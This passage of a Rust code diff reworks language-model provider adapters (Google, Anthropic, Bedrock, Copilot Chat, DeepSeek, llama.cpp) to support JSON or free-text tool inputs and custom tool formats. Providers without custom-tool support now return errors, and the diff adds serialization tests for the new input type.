+                    }
+                })
+                .collect::<Result<_>>()?,
+        }])
+    };
+
+    Ok(crate::GenerateContentRequest {
         model: ModelName { model_id },
         system_instruction: system_instructions,
         contents: request
             .messages
             .into_iter()
-            .filter_map(|message| {
-                let parts = map_content(message.content);
+            .map(|message| {
+                let parts = map_content(message.content)?;
                 if parts.is_empty() {
-                    None
+                    Ok(None)
                 } else {
-                    Some(Content {
+                    Ok(Some(Content {
                         parts,
                         role: match message.role {
                             Role::User => crate::Role::User,
                             Role::Assistant => crate::Role::Model,
                             Role::System => crate::Role::User, // Google AI doesn't have a system role
                         },
-                    })
+                    }))
                 }
             })
+            .collect::<Result<Vec<_>>>()?
+            .into_iter()
+            .flatten()
             .collect(),
         generation_config: Some(GenerationConfig {
             candidate_count: Some(1),
@@ -162,19 +185,7 @@ pub fn into_google(
             top_k: None,
         }),
         safety_settings: None,
-        tools: (!request.tools.is_empty()).then(|| {
-            vec![crate::Tool {
-                function_declarations: request
-                    .tools
-                    .into_iter()
-                    .map(|tool| FunctionDeclaration {
-                        name: tool.name,
-                        description: tool.description,
-                        parameters: tool.input_schema,
-                    })
-                    .collect(),
-            }]
-        }),
+        tools,
         tool_config: request.tool_choice.map(|choice| ToolConfig {
             function_calling_config: FunctionCallingConfig {
                 mode: match choice {
@@ -185,7 +196,7 @@ pub fn into_google(
                 allowed_function_names: None,
             },
         }),
-    }
+    })
 }
 
 fn thinking_config_for_request(
@@ -404,7 +415,9 @@ impl GoogleEventMapper {
                                     name,
                                     is_input_complete: true,
                                     raw_input: function_call_part.function_call.args.to_string(),
-                                    input: function_call_part.function_call.args,
+                                    input: LanguageModelToolUseInput::Json(
+                                        function_call_part.function_call.args,
+                                    ),
                                     thought_signature,
                                 },
                             )));
@@ -493,7 +506,8 @@ mod tests {
             GoogleModelMode::Thinking {
                 budget_tokens: None,
             },
-        );
+        )
+        .unwrap();
 
         let thinking_config = request.generation_config.unwrap().thinking_config.unwrap();
         assert_eq!(thinking_config.include_thoughts, Some(true));
@@ -515,7 +529,8 @@ mod tests {
             GoogleModelMode::Thinking {
                 budget_tokens: None,
             },
-        );
+        )
+        .unwrap();
 
         let thinking_config = request.generation_config.unwrap().thinking_config.unwrap();
         assert_eq!(thinking_config.thinking_budget, Some(0));
@@ -533,7 +548,8 @@ mod tests {
             GoogleModelMode::Thinking {
                 budget_tokens: None,
             },
-        );
+        )
+        .unwrap();
 
         let thinking_config = request.generation_config.unwrap().thinking_config.unwrap();
         assert_eq!(thinking_config.thinking_level, Some(ThinkingLevel::Minimal));
@@ -561,7 +577,8 @@ mod tests {
             GoogleModelMode::Thinking {
                 budget_tokens: None,
             },
-        );
+        )
+        .unwrap();
 
         let Part::TextPart(text_part) = &request.contents[0].parts[0] else {
             panic!("expected text part");
diff --git a/crates/language_model_core/src/language_model_core.rs b/crates/language_model_core/src/language_model_core.rs
index 26ef0867db50bf..991046eab08a11 100644
--- a/crates/language_model_core/src/language_model_core.rs
+++ b/crates/language_model_core/src/language_model_core.rs
@@ -5,7 +5,7 @@ mod role;
 pub mod tool_schema;
 pub mod util;
 
-use anyhow::{Result, anyhow};
+use anyhow::{Context as _, Result, anyhow};
 use cloud_llm_client::CompletionRequestStatus;
 use http_client::{StatusCode, http};
 use schemars::JsonSchema;
@@ -351,13 +351,101 @@ pub struct LanguageModelToolUse {
     pub id: LanguageModelToolUseId,
     pub name: Arc<str>,
     pub raw_input: String,
-    pub input: serde_json::Value,
+    pub input: LanguageModelToolUseInput,
     pub is_input_complete: bool,
     /// Thought signature the model sent us. Some models require that this
     /// signature be preserved and sent back in conversation history for validation.
     pub thought_signature: Option<String>,
 }
 
+#[derive(Debug, PartialEq, Eq, Hash, Clone)]
+pub enum LanguageModelToolUseInput {
+    Json(serde_json::Value),
+    Text(String),
+}
+
+impl Serialize for LanguageModelToolUseInput {
+    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
+    where
+        S: serde::Serializer,
+    {
+        use serde::ser::SerializeStruct;
+
+        let mut state = serializer.serialize_struct("LanguageModelToolUseInput", 2)?;
+        match self {
+            Self::Json(input) => {
+                state.serialize_field("type", "json")?;
+                state.serialize_field("value", input)?;
+            }
+            Self::Text(input) => {
+                state.serialize_field("type", "text")?;
+                state.serialize_field("value", input)?;
+            }
+        }
+        state.end()
+    }
+}
+
+impl<'de> Deserialize<'de> for LanguageModelToolUseInput {
+    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
+    where
+        D: serde::Deserializer<'de>,
+    {
+        let value = serde_json::Value::deserialize(deserializer)?;
+        if let Some(object) = value.as_object()
+            && object.len() == 2
+            && let Some(input_type) = object.get("type").and_then(|value| value.as_str())
+            && let Some(input) = object.get("value")
+        {
+            return match input_type {
+                "json" => Ok(Self::Json(input.clone())),
+                "text" => input
+                    .as_str()
+                    .map(|input| Self::Text(input.to_string()))
+                    .ok_or_else(|| serde::de::Error::custom("text tool input must be a string")),
+                _ => Ok(Self::Json(value)),
+            };
+        }
+
+        Ok(Self::Json(value))
+    }
+}
+
+impl LanguageModelToolUseInput {
+    pub fn as_json(&self) -> Option<&serde_json::Value> {
+        match self {
+            Self::Json(input) => Some(input),
+            Self::Text(_) => None,
+        }
+    }
+
+    /// Typed parsing for JSON tool inputs; freeform (Text) inputs always error.
+    ///
+    /// Callers wanting the raw value should use [`Self::as_json`] or [`Self::into_json`].
+    pub fn parse<T: serde::de::DeserializeOwned>(&self) -> Result<T> {
+        match self {
+            Self::Json(input) => {
+                serde_json::from_value(input.clone()).context("failed to parse JSON tool input")
+            }
+            Self::Text(_) => Err(anyhow!("custom tool text input cannot be parsed as JSON")),
+        }
+    }
+
+    pub fn into_json(self) -> Result<serde_json::Value> {
+        match self {
+            Self::Json(input) => Ok(input),
+            Self::Text(_) => Err(anyhow!("custom tool text input cannot be used as JSON")),
+        }
+    }
+
+    pub fn to_display_json(&self) -> serde_json::Value {
+        match self {
+            Self::Json(input) => input.clone(),
+            Self::Text(input) => serde_json::Value::String(input.clone()),
+        }
+    }
+}
+
 #[derive(Debug, Clone)]
 pub struct LanguageModelEffortLevel {
     pub name: SharedString,
@@ -624,7 +712,7 @@ mod tests {
             id: LanguageModelToolUseId::from("test_id"),
             name: "test_tool".into(),
             raw_input: json!({"arg": "value"}).to_string(),
-            input: json!({"arg": "value"}),
+            input: LanguageModelToolUseInput::Json(json!({"arg": "value"})),
             is_input_complete: true,
             thought_signature: Some("test_signature".to_string()),
         };
@@ -652,9 +740,97 @@ mod tests {
 
         assert_eq!(tool_use.id, LanguageModelToolUseId::from("test_id"));
         assert_eq!(tool_use.name.as_ref(), "test_tool");
+        assert_eq!(
+            tool_use.input,
+            LanguageModelToolUseInput::Json(json!({"arg": "value"}))
+        );
         assert_eq!(tool_use.thought_signature, None);
     }
 
+    #[test]
+    fn test_language_model_tool_use_input_round_trips_json() {
+        use serde_json::json;
+
+        let input = LanguageModelToolUseInput::Json(json!({"arg": "value"}));
+        let serialized = serde_json::to_value(&input).unwrap();
+        assert_eq!(
+            serialized,
+            json!({
+                "type": "json",
+                "value": {"arg": "value"}
+            })
+        );
+
+        let deserialized: LanguageModelToolUseInput = serde_json::from_value(serialized).unwrap();
+        assert_eq!(deserialized, input);
+    }
+
+    #[test]
+    fn test_language_model_tool_use_input_round_trips_text() {
+        use serde_json::json;
+
+        let input = LanguageModelToolUseInput::Text("raw custom input".to_string());
+        let serialized = serde_json::to_value(&input).unwrap();
+        assert_eq!(
+            serialized,
+            json!({
+                "type": "text",
+                "value": "raw custom input"
+            })
+        );
+
+        let deserialized: LanguageModelToolUseInput = serde_json::from_value(serialized).unwrap();
+        assert_eq!(deserialized, input);
+    }
+
+    #[test]
+    fn test_language_model_tool_use_input_parse() {
+        use serde_json::json;
+
+        #[derive(Debug, Deserialize, PartialEq)]
+        struct TestInput {
+            arg: String,
+        }
+
+        let parsed: TestInput = LanguageModelToolUseInput::Json(json!({"arg": "value"}))
+            .parse()
+            .unwrap();
+        assert_eq!(
+            parsed,
+            TestInput {
+                arg: "value".to_string()
+            }
+        );
+
+        let error = LanguageModelToolUseInput::Text("raw custom input".to_string())
+            .parse::<TestInput>()
+            .unwrap_err();
+        assert!(
+            error
+                .to_string()
+                .contains("custom tool text input cannot be parsed as JSON")
+        );
+    }
+
+    #[test]
+    fn test_language_model_tool_use_input_deserializes_legacy_plain_json_as_json() {
+        use serde_json::json;
+
+        let deserialized: LanguageModelToolUseInput =
+            serde_json::from_value(json!({"arg": "value"})).unwrap();
+        assert_eq!(
+            deserialized,
+            LanguageModelToolUseInput::Json(json!({"arg": "value"}))
+        );
+
+        let deserialized: LanguageModelToolUseInput =
+            serde_json::from_value(json!("legacy string argument")).unwrap();
+        assert_eq!(
+            deserialized,
+            LanguageModelToolUseInput::Json(json!("legacy string argument"))
+        );
+    }
+
     #[test]
     fn test_language_model_tool_use_round_trip_with_signature() {
         use serde_json::json;
@@ -663,7 +839,7 @@ mod tests {
             id: LanguageModelToolUseId::from("round_trip_id"),
             name: "round_trip_tool".into(),
             raw_input: json!({"key": "value"}).to_string(),
-            input: json!({"key": "value"}),
+            input: LanguageModelToolUseInput::Json(json!({"key": "value"})),
             is_input_complete: true,
             thought_signature: Some("round_trip_sig".to_string()),
         };
@@ -684,7 +860,7 @@ mod tests {
             id: LanguageModelToolUseId::from("no_sig_id"),
             name: "no_sig_tool".into(),
             raw_input: json!({"arg": "value"}).to_string(),
-            input: json!({"arg": "value"}),
+            input: LanguageModelToolUseInput::Json(json!({"arg": "value"})),
             is_input_complete: true,
             thought_signature: None,
         };
diff --git a/crates/language_model_core/src/request.rs b/crates/language_model_core/src/request.rs
index 61696f4158ab09..a661874b0eb329 100644
--- a/crates/language_model_core/src/request.rs
+++ b/crates/language_model_core/src/request.rs
@@ -3,7 +3,9 @@ use std::sync::Arc;
 use serde::{Deserialize, Serialize};
 
 use crate::role::Role;
-use crate::{LanguageModelToolUse, LanguageModelToolUseId, SharedString};
+use crate::{
+    LanguageModelToolUse, LanguageModelToolUseId, LanguageModelToolUseInput, SharedString,
+};
 
 /// Dimensions of a `LanguageModelImage`
 #[derive(Clone, Copy, Debug, PartialEq, Eq, Hash, Serialize, Deserialize)]
@@ -346,8 +348,52 @@ impl LanguageModelRequestMessage {
 pub struct LanguageModelRequestTool {
     pub name: String,
     pub description: String,
-    pub input_schema: serde_json::Value,
-    pub use_input_streaming: bool,
+    pub input: LanguageModelRequestToolInput,
+}
+
+impl LanguageModelRequestTool {
+    pub fn function(
+        name: String,
+        description: String,
+        input_schema: serde_json::Value,
+        use_input_streaming: bool,
+    ) -> Self {
+        Self {
+            name,
+            description,
+            input: LanguageModelRequestToolInput::Function {
+                input_schema,
+                use_input_streaming,
+            },
+        }
+    }
+}
+
+#[derive(Debug, PartialEq, Hash, Clone, Serialize, Deserialize)]
+pub enum LanguageModelRequestToolInput {
+    Function {
+        input_schema: serde_json::Value,
+        use_input_streaming: bool,
+    },
+    Custom {
+        format: Option<LanguageModelCustomToolFormat>,
+    },
+}
+
+#[derive(Debug, PartialEq, Eq, Hash, Clone, Serialize, Deserialize)]
+pub enum LanguageModelCustomToolFormat {
+    Text,
+    Grammar {
+        syntax: LanguageModelCustomToolGrammarSyntax,
+        definition: String,
+    },
+}
+
+#[derive(Debug, PartialEq, Eq, Hash, Clone, Copy, Serialize, Deserialize)]
+#[serde(rename_all = "lowercase")]
+pub enum LanguageModelCustomToolGrammarSyntax {
+    Lark,
+    Regex,
 }
 
 #[derive(Debug, PartialEq, Hash, Clone, Serialize, Deserialize)]
@@ -389,6 +435,25 @@ pub struct LanguageModelRequest {
     pub compact_at_tokens: Option<u64>,
 }
 
+impl LanguageModelRequest {
+    pub fn contains_custom_tool_input(&self) -> bool {
+        self.tools
+            .iter()
+            .any(|tool| matches!(tool.input, LanguageModelRequestToolInput::Custom { .. }))
+            || self.messages.iter().any(|message| {
+                message.content.iter().any(|content| {
+                    matches!(
+                        content,
+                        MessageContent::ToolUse(LanguageModelToolUse {
+                            input: LanguageModelToolUseInput::Text(_),
+                            ..
+                        })
+                    )
+                })
+            })
+    }
+}
+
 #[derive(
     Clone, Copy, Default, Debug, Serialize, Deserialize, PartialEq, Eq, schemars::JsonSchema,
 )]
diff --git a/crates/language_models/src/provider/anthropic.rs b/crates/language_models/src/provider/anthropic.rs
index 19ba2b45678cf0..ffd8bf814be742 100644
--- a/crates/language_models/src/provider/anthropic.rs
+++ b/crates/language_models/src/provider/anthropic.rs
@@ -528,14 +528,17 @@ impl LanguageModel for AnthropicModel {
     > {
         let has_tools = !request.tools.is_empty();
         let request_id = self.model.request_id(has_tools).to_string();
-        let mut request = into_anthropic(
+        let mut request = match into_anthropic(
             request,
             request_id,
             self.model.default_temperature,
             self.model.max_output_tokens,
             self.model.mode.clone(),
             AnthropicPromptCacheMode::Automatic,
-        );
+        ) {
+            Ok(request) => request,
+            Err(error) => return async move { Err(error.into()) }.boxed(),
+        };
         if !self.model.supports_speed {
             request.speed = None;
         }
diff --git a/crates/language_models/src/provider/anthropic_compatible.rs b/crates/language_models/src/provider/anthropic_compatible.rs
index 8a3ddd85da494a..633494e3a78458 100644
--- a/crates/language_models/src/provider/anthropic_compatible.rs
+++ b/crates/language_models/src/provider/anthropic_compatible.rs
@@ -333,14 +333,17 @@ impl LanguageModel for AnthropicCompatibleLanguageModel {
     > {
         let has_tools = !request.tools.is_empty();
         let request_id = self.model.request_id(has_tools).to_string();
-        let mut request = into_anthropic(
+        let mut request = match into_anthropic(
             request,
             request_id,
             self.model.default_temperature,
             self.model.max_output_tokens,
             self.model.mode.clone(),
             self.cache_mode,
-        );
+        ) {
+            Ok(request) => request,
+            Err(error) => return async move { Err(error.into()) }.boxed(),
+        };
         if !self.model.supports_speed {
             request.speed = None;
         }
diff --git a/crates/language_models/src/provider/bedrock.rs b/crates/language_models/src/provider/bedrock.rs
index fe12a5eb3a12db..f0902dd9cbcb01 100644
--- a/crates/language_models/src/provider/bedrock.rs
+++ b/crates/language_models/src/provider/bedrock.rs
@@ -937,6 +937,13 @@ impl LanguageModel for BedrockModel {
             LanguageModelCompletionError,
         >,
     > {
+        if request.contains_custom_tool_input() {
+            return async move {
+                Err(anyhow::anyhow!("Bedrock does not support custom tools").into())
+            }
+            .boxed();
+        }
+
         let (region, allow_global, guardrail_identifier, guardrail_version) =
             cx.read_entity(&self.state, |state, _cx| {
                 let (gid, gv) = state.get_guardrail_config();
@@ -1477,7 +1484,7 @@ impl LanguageModel for BedrockMantleModel {
             }
             MantleProtocol::ChatCompletions => {
                 let reasoning_effort = mantle_selected_reasoning_effort(&request, &self.model);
-                let request = into_open_ai(
+                let request = match into_open_ai(
                     request,
                     &model_id,
                     self.model.supports_tools(),
@@ -1486,7 +1493,10 @@ impl LanguageModel for BedrockMantleModel {
                     ChatCompletionMaxTokensParameter::MaxCompletionTokens,
                     reasoning_effort,
                     false,
-                );
+                ) {
+                    Ok(request) => request,
+                    Err(error) => return async move { Err(error.into()) }.boxed(),
+                };
                 let completions = self.stream_completion(request, cx);
                 async move {
                     let mapper = OpenAiEventMapper::new();
@@ -1526,6 +1536,10 @@ pub fn into_bedrock(
     guardrail_identifier: Option<String>,
     guardrail_version: Option<String>,
 ) -> Result<bedrock::Request> {
+    if request.contains_custom_tool_input() {
+        anyhow::bail!("Bedrock does not support custom tools");
+    }
+
     let mut new_messages: Vec<BedrockMessage> = Vec::new();
     let mut system_message = String::new();
 
@@ -1588,12 +1602,19 @@ pub fn into_bedrock(
                         }
                         MessageContent::ToolUse(tool_use) => {
                             messages_contain_tool_content = true;
-                            let input = if tool_use.input.is_null() {
-                                // Bedrock API requires valid JsonValue, not null, for tool use input
-                                value_to_aws_document(&serde_json::json!({}))
-                            } else {
-                                value_to_aws_document(&tool_use.input)
-                            };
+                            let input =
+                                if let language_model::LanguageModelToolUseInput::Json(input) =
+                                    &tool_use.input
+                                {
+                                    if input.is_null() {
+                                        // Bedrock API requires valid JsonValue, not null, for tool use input
+                                        value_to_aws_document(&serde_json::json!({}))
+                                    } else {
+                                        value_to_aws_document(input)
+                                    }
+                                } else {
+                                    value_to_aws_document(&serde_json::json!({}))
+                                };
                             BedrockToolUseBlock::builder()
                                 .name(tool_use.name.to_string())
                                 .tool_use_id(tool_use.id.to_string())
@@ -1727,19 +1748,25 @@ pub fn into_bedrock(
         request
             .tools
             .iter()
-            .filter_map(|tool| {
-                Some(BedrockTool::ToolSpec(
+            .map(|tool| {
+                let language_model::LanguageModelRequestToolInput::Function {
+                    input_schema, ..
+                } = &tool.input
+                else {
+                    anyhow::bail!("Bedrock does not support custom tools");
+                };
+                Ok(BedrockTool::ToolSpec(
                     BedrockToolSpec::builder()
                         .name(tool.name.clone())
                         .description(tool.description.clone())
                         .input_schema(BedrockToolInputSchema::Json(value_to_aws_document(
-                            &tool.input_schema,
+                            input_schema,
                         )))
                         .build()
-                        .log_err()?,
+                        .context("failed to build Bedrock tool spec")?,
                 ))
             })
-            .collect()
+            .collect::<Result<_>>()?
     } else {
         Vec::new()
     };
@@ -1894,7 +1921,10 @@ pub fn map_to_language_model_completion_events(
                                                 name: tool_use.name.clone().into(),
                                                 is_input_complete: false,
                                                 raw_input: tool_use.input_json.clone(),
-                                                input,
+                                                input:
+                                                    language_model::LanguageModelToolUseInput::Json(
+                                                        input,
+                                                    ),
                                                 thought_signature: None,
                                             },
                                         )))
@@ -1959,7 +1989,9 @@ pub fn map_to_language_model_completion_events(
                                         name: tool_use.name.into(),
                                         is_input_complete: true,
                                         raw_input: tool_use.input_json,
-                                        input,
+                                        input: language_model::LanguageModelToolUseInput::Json(
+                                            input,
+                                        ),
                                         thought_signature: None,
                                     },
                                 ))
diff --git a/crates/language_models/src/provider/copilot_chat.rs b/crates/language_models/src/provider/copilot_chat.rs
index db845e85796a82..4074fab35c2453 100644
--- a/crates/language_models/src/provider/copilot_chat.rs
+++ b/crates/language_models/src/provider/copilot_chat.rs
@@ -368,7 +368,7 @@ impl LanguageModel for CopilotChatLanguageModel {
                         AnthropicModelMode::Default
                     },
                     AnthropicPromptCacheMode::Legacy,
-                );
+                )?;
 
                 anthropic_request.temperature = None;
 
@@ -423,7 +423,10 @@ impl LanguageModel for CopilotChatLanguageModel {
 
         if self.model.supports_response() {
             let location = intent_to_chat_location(request.intent);
-            let responses_request = into_copilot_responses(&self.model, request);
+            let responses_request = match into_copilot_responses(&self.model, request) {
+                Ok(request) => request,
+                Err(error) => return async move { Err(error.into()) }.boxed(),
+            };
             let request_limiter = self.request_limiter.clone();
             let future = cx.spawn(async move |cx| {
                 let request = CopilotChat::stream_response(
@@ -567,7 +570,9 @@ pub fn map_to_language_model_completion_events(
                                             id: entry.id.clone().into(),
                                             name: entry.name.as_str().into(),
                                             is_input_complete: false,
-                                            input,
+                                            input: language_model::LanguageModelToolUseInput::Json(
+                                                input,
+                                            ),
                                             raw_input: entry.arguments.clone(),
                                             thought_signature: entry.thought_signature.clone(),
                                         },
@@ -629,7 +634,10 @@ pub fn map_to_language_model_completion_events(
                                                 id: tool_call.id.into(),
                                                 name: tool_call.name.as_str().into(),
                                                 is_input_complete: true,
-                                                input,
+                                                input:
+                                                    language_model::LanguageModelToolUseInput::Json(
+                                                        input,
+                                                    ),
                                                 raw_input: tool_call.arguments,
                                                 thought_signature: tool_call.thought_signature,
                                             },
@@ -734,7 +742,7 @@ impl CopilotResponsesEventMapper {
                                 id: call_id.into(),
                                 name: name.as_str().into(),
                                 is_input_complete: true,
-                                input,
+                                input: language_model::LanguageModelToolUseInput::Json(input),
                                 raw_input: arguments.clone(),
                                 thought_signature,
                             },
@@ -1054,12 +1062,15 @@ fn into_copilot_chat(
                 let mut tool_calls = Vec::new();
                 for content in &message.content {
                     if let MessageContent::ToolUse(tool_use) = content {
+                        let input = tool_use.input.as_json().ok_or_else(|| {
+                            anyhow!("Copilot Chat does not support custom tool calls")
+                        })?;
                         tool_calls.push(ToolCall {
                             id: tool_use.id.to_string(),
                             content: ToolCallContent::Function {
                                 function: FunctionContent {
                                     name: tool_use.name.to_string(),
-                                    arguments: serde_json::to_string(&tool_use.input)?,
+                                    arguments: serde_json::to_string(input)?,
                                     thought_signature: tool_use.thought_signature.clone(),
                                 },
                             },
@@ -1120,14 +1131,21 @@ fn into_copilot_chat(
     let tools = request
         .tools
         .iter()
-        .map(|tool| Tool::Function {
-            function: Function {
-                name: tool.name.clone(),
-                description: tool.description.clone(),
-                parameters: tool.input_schema.clone(),
-            },
+        .map(|tool| match &tool.input {
+            language_model::LanguageModelRequestToolInput::Function { input_schema, .. } => {
+                Ok(Tool::Function {
+                    function: Function {
+                        name: tool.name.clone(),
+                        description: tool.description.clone(),
+                        parameters: input_schema.clone(),
+                    },
+                })
+            }
+            language_model::LanguageModelRequestToolInput::Custom { .. } => Err(anyhow::anyhow!(
+                "Copilot Chat does not support custom tools"
+            )),
         })
-        .collect::<Vec<_>>();
+        .collect::<Result<Vec<_>>>()?;
 
     Ok(CopilotChatRequest {
         n: 1,
@@ -1188,7 +1206,7 @@ fn intent_to_chat_location(intent: Option<CompletionIntent>) -> ChatLocation {
 fn into_copilot_responses(
     model: &CopilotChatModel,
     request: LanguageModelRequest,
-) -> copilot_responses::Request {
+) -> Result<copilot_responses::Request> {
     use copilot_responses as responses;
 
     let LanguageModelRequest {
@@ -1356,13 +1374,20 @@ fn into_copilot_responses(
 
     let converted_tools: Vec<responses::ToolDefinition> = tools
         .into_iter()
-        .map(|tool| responses::ToolDefinition::Function {
-            name: tool.name,
-            description: Some(tool.description),
-            parameters: Some(tool.input_schema),
-            strict: None,
+        .map(|tool| match tool.input {
+            language_model::LanguageModelRequestToolInput::Function { input_schema, .. } => {
+                Ok(responses::ToolDefinition::Function {
+                    name: tool.name,
+                    description: Some(tool.description),
+                    parameters: Some(input_schema),
+                    strict: None,
+                })
+            }
+            language_model::LanguageModelRequestToolInput::Custom { .. } => Err(anyhow::anyhow!(
+                "Copilot Chat does not support custom tools"
+            )),
         })
-        .collect();
+        .collect::<Result<_>>()?;
 
     let mapped_tool_choice = tool_choice.map(|choice| match choice {
         LanguageModelToolChoice::Auto => responses::ToolChoice::Auto,
@@ -1370,7 +1395,7 @@ fn into_copilot_responses(
         LanguageModelToolChoice::None => responses::ToolChoice::None,
     });
 
-    responses::Request {
+    Ok(responses::Request {
         model: model.id().to_string(),
         input: input_items,
         stream: model.uses_streaming(),
@@ -1393,7 +1418,7 @@ fn into_copilot_responses(
             copilot_responses::ResponseIncludable::ReasoningEncryptedContent,
         ]),
         store: false,
-    }
+    })
 }
 
 #[cfg(test)]
@@ -1671,7 +1696,7 @@ mod tests {
             ..Default::default()
         };
 
-        let serialized = serde_json::to_value(into_copilot_responses(&model, request))
+        let serialized = serde_json::to_value(into_copilot_responses(&model, request).unwrap())
             .expect("serialized request");
         let input = serialized["input"].as_array().expect("input items");
 
diff --git a/crates/language_models/src/provider/deepseek.rs b/crates/language_models/src/provider/deepseek.rs
index f448ae2be68895..129ea1bd4515d8 100644
--- a/crates/language_models/src/provider/deepseek.rs
+++ b/crates/language_models/src/provider/deepseek.rs
@@ -338,7 +338,10 @@ impl LanguageModel for DeepSeekLanguageModel {
             LanguageModelCompletionError,
         >,
     > {
-        let request = into_deepseek(request, &self.model, self.max_output_tokens());
+        let request = match into_deepseek(request, &self.model, self.max_output_tokens()) {
+            Ok(request) => request,
+            Err(error) => return async move { Err(error.into()) }.boxed(),
+        };
         let stream = self.stream_completion(request, cx);
 
         async move {
@@ -353,7 +356,11 @@ pub fn into_deepseek(
     request: LanguageModelRequest,
     model: &deepseek::Model,
     max_output_tokens: Option<u64>,
-) -> deepseek::Request {
+) -> Result<deepseek::Request> {
+    if request.contains_custom_tool_input() {
+        anyhow::bail!("DeepSeek does not support custom tools");
+    }
+
     let thinking = deepseek_thinking(model, request.thinking_allowed);
     let thinking_enabled = thinking
         .as_ref()
@@ -392,13 +399,16 @@ pub fn into_deepseek(
                 MessageContent::Image(_) => {}
                 MessageContent::Compaction(_) => {}
                 MessageContent::ToolUse(tool_use) => {
+                    let input = tool_use
+                        .input
+                        .as_json()
+                        .ok_or_else(|| anyhow!("DeepSeek does not support custom tool calls"))?;
                     let tool_call = deepseek::ToolCall {
                         id: tool_use.id.to_string(),
                         content: deepseek::ToolCallContent::Function {
                             function: deepseek::FunctionContent {
                                 name: tool_use.name.to_string(),
-                                arguments: serde_json::to_string(&tool_use.input)
-                                    .unwrap_or_default(),
+                                arguments: serde_json::to_string(input).unwrap_or_default(),
                             },
                         },
                     };
@@ -441,7 +451,7 @@ pub fn into_deepseek(
         }
     }
 
-    deepseek::Request {
+    Ok(deepseek::Request {
         model: model.id().to_string(),
         messages,
         stream: true,
@@ -466,15 +476,26 @@ pub fn into_deepseek(
         tools: request
             .tools
             .into_iter()
-            .map(|tool| deepseek::ToolDefinition::Function {
-                function: deepseek::FunctionDefinition {
-                    name: tool.name,
-                    description: Some(tool.description),
-                    parameters: Some(tool.input_schema),
-                },
+            .map(|tool| {
+                let input_schema = match tool.input {
+                    language_model::LanguageModelRequestToolInput::Function {
+                        input_schema,
+                        ..
+                    } => input_schema,
+                    language_model::LanguageModelRequestToolInput::Custom { .. } => {
+                        return Err(anyhow::anyhow!("DeepSeek does not support custom tools"));
+                    }
+                };
+                Ok(deepseek::ToolDefinition::Function {
+                    function: deepseek::FunctionDefinition {
+                        name: tool.name,
+                        description: Some(tool.description),
+                        parameters: Some(input_schema),
+                    },
+                })
             })
-            .collect(),
-    }
+            .collect::<Result<_>>()?,
+    })
 }
 
 fn deepseek_thinking(
@@ -578,7 +599,7 @@ impl DeepSeekEventMapper {
                                 id: entry.id.clone().into(),
                                 name: entry.name.as_str().into(),
                                 is_input_complete: false,
-                                input,
+                                input: language_model::LanguageModelToolUseInput::Json(input),
                                 raw_input: entry.arguments.clone(),
                                 thought_signature: None,
                             },
@@ -609,7 +630,7 @@ impl DeepSeekEventMapper {
                                 id: tool_call.id.clone().into(),
                                 name: tool_call.name.as_str().into(),
                                 is_input_complete: true,
-                                input,
+                                input: language_model::LanguageModelToolUseInput::Json(input),
                                 raw_input: tool_call.arguments.clone(),
                                 thought_signature: None,
                             },
diff --git a/crates/language_models/src/provider/google.rs b/crates/language_models/src/provider/google.rs
index 7906e8f301eb93..e930405c1181fb 100644
--- a/crates/language_models/src/provider/google.rs
+++ b/crates/language_models/src/provider/google.rs
@@ -358,11 +358,14 @@ impl LanguageModel for GoogleLanguageModel {
             LanguageModelCompletionError,
         >,
     > {
-        let request = into_google(
+        let request = match into_google(
             request,
             self.model.request_id().to_string(),
             self.model.mode(),
-        );
+        ) {
+            Ok(request) => request,
+            Err(error) => return async move { Err(error.into()) }.boxed(),
+        };
         let request = self.stream_completion(request, cx);
         let future = self.request_limiter.stream(async move {
             let response = request.await.map_err(LanguageModelCompletionError::from)?;
diff --git a/crates/language_models/src/provider/llama_cpp.rs b/crates/language_models/src/provider/llama_cpp.rs
index 19f0e9f2962fd0..297c1e4284c3dd 100644
--- a/crates/language_models/src/provider/llama_cpp.rs
+++ b/crates/language_models/src/provider/llama_cpp.rs
@@ -650,7 +650,7 @@ impl LlamaCppLanguageModel {
     fn to_llama_cpp_request(
         &self,
         request: LanguageModelRequest,
-    ) -> llama_cpp::ChatCompletionRequest {
+    ) -> Result<llama_cpp::ChatCompletionRequest> {
         build_llama_cpp_request(
             &self.name,
             self.supports_images,
@@ -697,7 +697,11 @@ fn build_llama_cpp_request(
     supports_images: bool,
     capabilities: LiveCapabilities,
     request: LanguageModelRequest,
-) -> llama_cpp::ChatCompletionRequest {
+) -> Result<llama_cpp::ChatCompletionRequest> {
+    if request.contains_custom_tool_input() {
+        anyhow::bail!("llama.cpp does not support custom tools");
+    }
+
     let supports_tools = capabilities.supports_tools;
     let supports_thinking = capabilities.supports_thinking;
     let mut messages = Vec::new();
@@ -743,13 +747,15 @@ fn build_llama_cpp_request(
                     }
                 }
                 MessageContent::ToolUse(tool_use) => {
+                    let input = tool_use.input.as_json().ok_or_else(|| {
+                        anyhow::anyhow!("llama.cpp does not support custom tool calls")
+                    })?;
                     let tool_call = llama_cpp::ToolCall {
                         id: tool_use.id.to_string(),
                         content: llama_cpp::ToolCallContent::Function {
                             function: llama_cpp::FunctionContent {
                                 name: tool_use.name.to_string(),
-                                arguments: serde_json::to_string(&tool_use.input)
-                                    .unwrap_or_default(),
+                                arguments: serde_json::to_string(input).unwrap_or_default(),
                             },
                         },
                     };
@@ -811,14 +817,25 @@ fn build_llama_cpp_request(
         request
             .tools
             .into_iter()
-            .map(|tool| llama_cpp::ToolDefinition::Function {
-                function: llama_cpp::FunctionDefinition {
-                    name: tool.name,
-                    description: Some(tool.description),
-                    parameters: Some(tool.input_schema),
-                },
+            .map(|tool| {
+                let input_schema = match tool.input {
+                    language_model::LanguageModelRequestToolInput::Function {
+                        input_schema,
+                        ..
+                    } => input_schema,
+                    language_model::LanguageModelRequestToolInput::Custom { .. } => {
+                        return Err(anyhow::anyhow!("llama.cpp does not support custom tools"));
+                    }
+                };
+                Ok(llama_cpp::ToolDefinition::Function {
+                    function: llama_cpp::FunctionDefinition {
+                        name: tool.name,
+                        description: Some(tool.description),
+                        parameters: Some(input_schema),
+                    },
+                })
             })
-            .collect()
+            .collect::<Result<_>>()?
     } else {
         Vec::new()
     };
@@ -834,7 +851,7 @@ fn build_llama_cpp_request(
         })
     };
 
-    llama_cpp::ChatCompletionRequest {
+    Ok(llama_cpp::ChatCompletionRequest {
         model: model_name.to_string(),
         messages,
         stream: true,
@@ -853,7 +870,7 @@ fn build_llama_cpp_request(
         stream_options: Some(llama_cpp::StreamOptions {
             include_usage: true,
         }),
-    }
+    })
 }
 
